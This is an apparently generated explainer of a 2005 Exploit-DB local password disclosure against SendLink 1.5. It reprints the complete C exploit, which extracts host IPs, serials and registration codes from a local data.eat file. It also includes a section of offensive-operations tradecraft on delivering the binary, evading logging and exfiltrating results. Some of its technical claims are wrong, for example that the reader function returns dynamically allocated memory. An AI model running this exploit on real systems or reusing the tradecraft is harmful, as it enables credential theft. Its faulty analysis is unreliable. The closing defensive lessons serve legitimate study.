SendLink 1.5 Local Password Disclosure Explained

SendLink 1.5 Local Password Disclosure Explained
What this paper is
This paper details a vulnerability in SendLink version 1.5, a software from Computer Knacks. The vulnerability allows a local user to read sensitive configuration data, including what appears to be registration codes and potentially other credentials, from a file on the system. The exploit code provided demonstrates how to locate and extract this information.
Simple technical breakdown
SendLink 1.5 stores its configuration, including registration details, in a file named data.eat located within its user data directory. This file is not encrypted or properly protected. The exploit works by:
- Locating the configuration file: It first finds the installation path of "Program Files" on the Windows system.
- Constructing the file path: It then appends the SendLink user data directory and the
data.eatfilename to this path. - Searching for specific data: The exploit searches within
data.eatfor specific keys (like "hostip", "hostname", "serial", "regcode") followed by a special delimiter (0xBB). - Extracting the values: Once a key is found, it reads all characters until it encounters another
0xBBdelimiter, treating these characters as the value associated with the key. - Displaying the information: Finally, it prints the extracted values to the console.
Essentially, it's a file parsing script that reads sensitive information from a plain text configuration file.
Complete code and payload walkthrough
The provided C code is an exploit for SendLink v1.5. Let's break down its components.
Header Files and Definitions:
#include <windows.h>: Includes Windows API functions, necessary for registry access and other Windows-specific operations.#include <stdio.h>: Standard input/output functions (likeprintf,fopen,fclose,getc,fseek).#include <string.h>: String manipulation functions (likestrlen,strcat).#define BUFSIZE 100: Defines a buffer size of 100 bytes, used for various string operations and temporary storage.
Global Variables:
HKEY hKey;: A handle to a registry key.char prgfiles[BUFSIZE];: A buffer to store the path to the "Program Files" directory.DWORD dwBufLen=BUFSIZE;: A variable to store the size of the buffer for registry queries.LONG lRet;: A variable to store the return status of Windows API calls.char *hostip, *hostname, *serial, *options, *regcode, *hostport;: Pointers to character arrays that will store the extracted configuration values.
adresal Function:
- Purpose: This function searches for a specific string (
Str) within a given file (FilePath). It returns the byte offset from the beginning of the file where the string is found, or -1 if not found. - Inputs:
char *FilePath: The path to the file to search.char *Str: The string to search for.
- Behavior:
- Opens the file in binary read mode (
"rb"). - If the file cannot be opened, it returns -1.
- It reads the file character by character (
getc). - For each character read, it attempts to match it against the characters of
Str. - If a mismatch occurs, it tries to reposition the file pointer. If
i > 0(meaning some characters ofStrhad matched), it usesfseek(di, Sayac + 1, SEEK_SET)to move the file pointer back. TheSayacvariable tracks the number of characters read so far. The+1is to account for the character that was just read and potentially mismatched. - If the entire
Stris matched (i > (strlen(Str)-2)), it calculates the offset usingftell(di) - strlen(Str).ftell(di)gives the current position after reading the last character of the matched string, so subtractingstrlen(Str)gives the starting offset of the string. - It closes the file before returning.
- Opens the file in binary read mode (
- Output: The starting byte offset of
StrinFilePath, or -1.
oku Function:
- Purpose: This function reads a value from a file (
FilePath) starting after a specific search string (Str) until a delimiter character (0xBB) is encountered. - Inputs:
char *FilePath: The path to the file to read from.char *Str: The search string that precedes the value to be read.
- Behavior:
- Calls
adresalto find the offset ofStrinFilePath. - If
Offsetis -1 (string not found), it returns an empty string"". - Opens the file in binary read mode (
"rb"). - If the file cannot be opened, it returns an empty string
"". - Uses
fseek(di, Offset + strlen(Str), SEEK_SET)to position the file pointer immediately after the foundStr. - Reads characters one by one (
getc) into aFeaturebuffer. - The loop continues until the delimiter character
BB(which is0xBB) is read or the end of the file is reached. - The read characters are stored in
Feature. - A null terminator (
\0) is added toFeatureto make it a valid C string. - The file is closed.
- Calls
- Output: A pointer to a dynamically allocated string containing the value read from the file, or an empty string if an error occurred or the search string was not found.
main Function:
- Purpose: The entry point of the program. It retrieves the "Program Files" directory from the Windows Registry, constructs the path to
data.eat, and then uses theokufunction to extract various configuration parameters. - Behavior:
- Registry Access:
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion", 0, KEY_QUERY_VALUE, &hKey): Attempts to open the registry keyHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersionwith read-only access.- If successful (
ERROR_SUCCESS):RegQueryValueEx(hKey, "ProgramFilesDir", NULL, NULL, (LPBYTE)prgfiles, &dwBufLen): Queries the value of the "ProgramFilesDir" registry entry. This value typically points to the directory where programs are installed (e.g., "C:\Program Files"). The result is stored in theprgfilesbuffer.- Error checking is performed for
RegQueryValueEx. If an error occurs or the buffer is too small, it prints an error and exits. RegCloseKey(hKey): Closes the registry key handle.
- If
RegOpenKeyExfails, it prints an error and exits.
- File Path Construction:
strcat(prgfiles, "\\SendLink\\User\\data.eat");: Appends the relative path to thedata.eatfile to the retrieved "Program Files" directory. This forms the full path to the configuration file.
- Exploit Execution (within
try-catchblock):- The
try-catchblock is a C++ construct, but in C, it will likely be treated as a syntax error or a no-op. The original code might have been intended for a C++ compiler or is a stylistic choice that doesn't add functional error handling in a standard C context. In a C compiler, this block would likely cause a compilation error. Assuming it's ignored or handled by a specific compiler extension, the code proceeds. - Data Extraction: For each configuration parameter (hostip, hostname, hostport, options, serial, regcode):
- A temporary buffer (
*_temp) is created. wsprintf(hostip_temp, "hostip%c=%c", 0xBB, 0xAB);: This is a crucial part. It constructs the search string. For example, forhostip, it creates a string like"hostip\xBB=\xAB". The0xBBis the delimiter used within thedata.eatfile, and0xABis an unusual character that appears to be part of the value format in thedata.eatfile itself, not a delimiter. Theokufunction is designed to read after the search string and before the0xBBdelimiter.hostip = oku(prgfiles, hostip_temp);: Calls theokufunction to find and extract the value associated with "hostip".printf("Host IP: %s\n", hostip);: Prints the extracted value.- This process is repeated for
hostname,hostport,options,serial, andregcode.
- A temporary buffer (
- The
- Return: Returns 0, indicating successful execution (or at least completion of the attempt).
- Registry Access:
Code Fragment/Block -> Practical Purpose Mapping:
#include <windows.h>: Access Windows API for registry operations.#include <stdio.h>: Standard I/O for file operations and printing.#include <string.h>: String manipulation.#define BUFSIZE 100: Defines a fixed buffer size.HKEY hKey;: Registry key handle.char prgfiles[BUFSIZE];: Stores "Program Files" path.RegOpenKeyEx(...): Opens a Windows registry key.RegQueryValueEx(...): Reads a value from a Windows registry key.RegCloseKey(...): Closes a Windows registry key.strcat(prgfiles, "\\SendLink\\User\\data.eat");: Constructs the full path to the target configuration file.adresal(FilePath, Str): Searches forStrwithinFilePathand returns its offset.oku(FilePath, Str): Reads data fromFilePathafterStruntil0xBB.wsprintf(hostip_temp, "hostip%c=%c", 0xBB, 0xAB);: Creates the search string foroku, e.g., "hostip\xBB=\xAB".hostip = oku(prgfiles, hostip_temp);: Extracts the value for "hostip".printf(...): Displays the extracted information.try { ... } catch(...) { ... }: C++ exception handling construct, likely non-functional in standard C.
Shellcode/Payload:
There is no explicit shellcode or binary payload in the provided C source code. The "payload" is the information extracted from the data.eat file. The C code itself acts as the exploit mechanism. The output of the program is the sensitive data.
Practical details for offensive operations teams
- Required Access Level: Local user access. This exploit does not require administrative privileges.
- Lab Preconditions:
- A Windows operating system (likely older versions given the 2005 publication date, but potentially still functional on newer ones if SendLink is installed).
- SendLink version 1.5 (or a version with the same vulnerability) must be installed on the target system.
- The
data.eatfile must exist at the expected location (%ProgramFiles%\SendLink\User\data.eat).
- Tooling Assumptions:
- A C compiler (like MinGW or Visual Studio) to compile the provided source code into an executable.
- The compiled executable needs to be transferred to the target system.
- Execution Pitfalls:
- SendLink Not Installed: The exploit will fail if SendLink v1.5 is not installed or if the installation path differs significantly.
- File Not Found: If
data.eatis missing or in a different location,okuwill return an empty string, and the output will be blank for those fields. - Registry Path Variations: While
SOFTWARE\Microsoft\Windows\CurrentVersionis standard, older/unusual Windows installations might have variations. - Data Format Changes: If SendLink developers changed the internal format of
data.eatin later versions (or even in patches for 1.5), theadresalandokufunctions might fail to parse the data correctly. The specific delimiters (0xBB) and search string format (key%c=%c) are hardcoded. - C++
try-catch: As noted, thetry-catchblock is a C++ construct. If compiled with a standard C compiler, it will cause a syntax error. The code might need to be adapted to C for compilation. If compiled as C++, it might not provide actual exception handling in this context. - Buffer Overflows: While
BUFSIZEis defined, theokufunction'sFeaturebuffer is fixed at 500 bytes. If a value indata.eatis larger than 500 bytes, a buffer overflow would occur, potentially crashing the program or leading to other issues.
- Tradecraft Considerations:
- Stealth: Executing a compiled C program locally is generally not stealthy. File access and registry queries can be logged.
- Persistence: This exploit is a one-time information disclosure. It does not provide persistence.
- Lateral Movement: This exploit is purely local. It cannot be used for lateral movement without additional mechanisms.
- Payload Delivery: The compiled
.exeneeds to be delivered to the target. This could be via social engineering, a dropped file, or another vulnerability. - Data Exfiltration: The extracted data needs to be exfiltrated. This could be done by piping the output to a file and then transferring it, or by having the exploit itself send the data out (which this code does not do).
Where this was used and when
- Publication Date: February 22, 2005.
- Context: This exploit targets SendLink v1.5, a specific version of a software application. Its usage would be limited to environments where this particular version was installed.
- Usage Scenarios: It's likely that this exploit was used by security researchers or malicious actors to gain access to registration keys or other configuration secrets stored by SendLink. This could have been part of a broader attack chain or for unauthorized software activation.
- Approximate Years/Dates: The vulnerability was discovered and published in 2005. Its active exploitation period would have been around this time, or until SendLink users upgraded to a patched version.
Defensive lessons for modern teams
- Secure Configuration Storage: Sensitive information (passwords, keys, credentials) should never be stored in plain text configuration files. Use encryption, hashing, or secure credential management systems.
- Input Validation and Sanitization: Applications should not rely on simple string searching and delimited reading for critical data. Robust parsing and validation are essential.
- Principle of Least Privilege: Applications should not store sensitive data in locations accessible to unprivileged users if that data is not intended for them.
- Regular Patching and Updates: Keeping software updated is crucial. Vendors often fix such vulnerabilities in newer releases.
- File Integrity Monitoring (FIM): Monitoring critical configuration files for unauthorized modifications or access can alert defenders to such activities.
- Endpoint Detection and Response (EDR): EDR solutions can detect suspicious process behavior, such as unusual file access patterns or the execution of unknown executables, which might indicate an exploit attempt.
- Application Whitelisting: Preventing the execution of unauthorized executables on endpoints can mitigate the impact of dropped exploit binaries.
ASCII visual (if applicable)
This exploit involves a local process reading a local file. A complex architecture diagram isn't strictly necessary, but a simplified flow can be visualized:
+-----------------+ +---------------------+ +-----------------+
| Attacker/Local | | SendLink v1.5 | | Target System |
| User | | Installation | | |
+-----------------+ +---------------------+ +-----------------+
| | |
| 1. Execute Exploit | |
| (e.g., .exe) | |
+------------------------> |
| |
| 2. Read "ProgramFilesDir" |
| from Registry |
| |
| 3. Construct Path: |
| %ProgramFiles%\SendLink\User\data.eat
| |
| 4. Open and Parse |
| data.eat |
| (Search for keys like |
| "hostip", "regcode", |
| followed by 0xBB) |
| |
| 5. Extract Values |
| (between key and 0xBB) |
| |
| 6. Output Sensitive Data |
+---------------------------->
|
|
+-----------------+
| Sensitive Data |
| (e.g., Serial, |
| Registration |
| Code) |
+-----------------+Source references
- Paper ID: 835
- Paper Title: SendLink 1.5 - Local Password Disclosure
- Author: Kozan
- Published: 2005-02-22
- Keywords: Windows, local
- Paper URL: https://www.exploit-db.com/papers/835
- Raw URL: https://www.exploit-db.com/raw/835
Original Exploit-DB Content (Verbatim)
/*****************************************************************
SendLink v1.5 Local Exploit by Kozan
Application: SendLink v1.5
Vendor:Computer Knacks
http://www.computerknacks.com/
Vulnerable Description: SendLink v1.5 discloses passwords to local users.
Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan[at]netmagister[dot]com
*****************************************************************/
#include <windows.h>
#include <stdio.h>
#include <string.h>
#define BUFSIZE 100
HKEY hKey;
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;
char *hostip, *hostname, *serial, *options, *regcode, *hostport;
int adresal(char *FilePath,char *Str)
{
char kr;
int Sayac=0;
int Offset=-1;
FILE *di;
di=fopen(FilePath,"rb");
if( di == NULL )
{
fclose(di);
return -1;
}
while(!feof(di))
{
Sayac++;
for(int i=0;i<strlen(Str);i++)
{
kr=getc(di);
if(kr != Str[i])
{
if( i>0 )
{
fseek(di,Sayac+1,SEEK_SET);
}
break;
}
if( i > ( strlen(Str)-2 ) )
{
Offset = ftell(di)-strlen(Str);
fclose(di);
return Offset;
}
}
}
fclose(di);
return -1;
}
char *oku(char *FilePath,char *Str)
{
FILE *di;
char cr;
char BB = 0xBB;
int i=0;
char Feature[500];
int Offset = adresal(FilePath,Str);
if( Offset == -1 )
return "";
if( (di=fopen(FilePath,"rb")) == NULL )
return "";
fseek(di,Offset+strlen(Str),SEEK_SET);
while(!feof(di))
{
cr=getc(di);
if(cr == BB)
break;
Feature[i] = cr;
i++;
}
Feature[i] = '\0';
fclose(di);
return Feature;
}
int main(void)
{
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{
lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,
(LPBYTE)
prgfiles, &dwBufLen);
if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
{
RegCloseKey(hKey);
printf("An error occured!\n");
return 0;
}
RegCloseKey(hKey);
}
else
{
RegCloseKey(hKey);
printf("An error occured!\n");
return 0;
}
strcat(prgfiles,"\\SendLink\\User\\data.eat");
printf("SendLink v1.5 Local Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("www.netmagister.com - www.spyinstructors.com \n\n");
try
{
char hostip_temp[BUFSIZE];
wsprintf(hostip_temp,"hostip%c=%c",0xBB,0xAB);
hostip=oku(prgfiles,hostip_temp);
printf("Host IP: %s\n",hostip);
char hostname_temp[BUFSIZE];
wsprintf(hostname_temp,"hostname%c=%c",0xBB,0xAB);
hostname=oku(prgfiles,hostname_temp);
printf("Hostname : %s\n",hostname);
char hostport_temp[BUFSIZE];
wsprintf(hostport_temp,"hostport%c=%c",0xBB,0xAB);
hostport=oku(prgfiles,hostport_temp);
printf("Host Port : %s\n",hostport);
char options_temp[BUFSIZE];
wsprintf(options_temp,"options%c=%c",0xBB,0xAB);
options=oku(prgfiles,options_temp);
printf("Options : %s\n",options);
char serial_temp[BUFSIZE];
wsprintf(serial_temp,"serial%c=%c",0xBB,0xAB);
serial=oku(prgfiles,serial_temp);
printf("Serial : %s\n",hostip);
char regcode_temp[BUFSIZE];
wsprintf(regcode_temp,"regcode%c=%c",0xBB,0xAB);
regcode=oku(prgfiles,regcode_temp);
printf("Registration Code : %s\n",regcode);
}catch(...){ printf("An error occured!\n"); return 0; }
return 0;
}
// milw0rm.com [2005-02-22]